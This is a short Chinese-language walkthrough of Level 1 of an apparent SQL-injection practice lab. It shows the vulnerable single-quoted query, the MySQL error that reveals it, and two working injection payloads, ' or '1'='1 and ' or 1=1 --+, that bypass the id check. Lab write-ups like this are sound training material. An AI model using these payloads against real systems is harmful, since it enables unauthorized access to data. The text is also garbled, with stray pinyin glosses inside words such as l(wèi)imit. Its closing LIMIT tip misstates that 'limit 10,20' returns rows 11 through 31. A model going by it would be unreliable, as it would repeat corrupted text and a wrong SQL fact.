Less-1:GET-Error based-Single quotes-String
第一節(jié):GET – 基于錯誤 – 單引號 – 字符型
這里提示:輸入一個數(shù)值型的“id”作為參數(shù)

比如使用:
?id=1加入到url后面,變成->localhost/Less-1/?id=1
可正常查詢到一條記錄:

根據(jù)源碼,index.php第29行,可以知道這里使用的查詢語句為:
SELECT * FROM users WHERE id='$id' LIMIT 0,1這里$id是被單引號包裹的。
使用id=1'進行查詢驗證,得到報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
所以以下兩個注入可以測試成功:
' or '1'='1
' or 1=1 --+
會自動返回第一條數(shù)據(jù)

tips:
查詢語句中l(wèi)imit的意思是:
(格式:limit 第幾條,一共幾條)
select * from tablename limit 0,1即取出第一條記錄
select * from tablename limit 1,1第二條記錄
select * from tablename limit 10,20從第11條到31條(共計20條)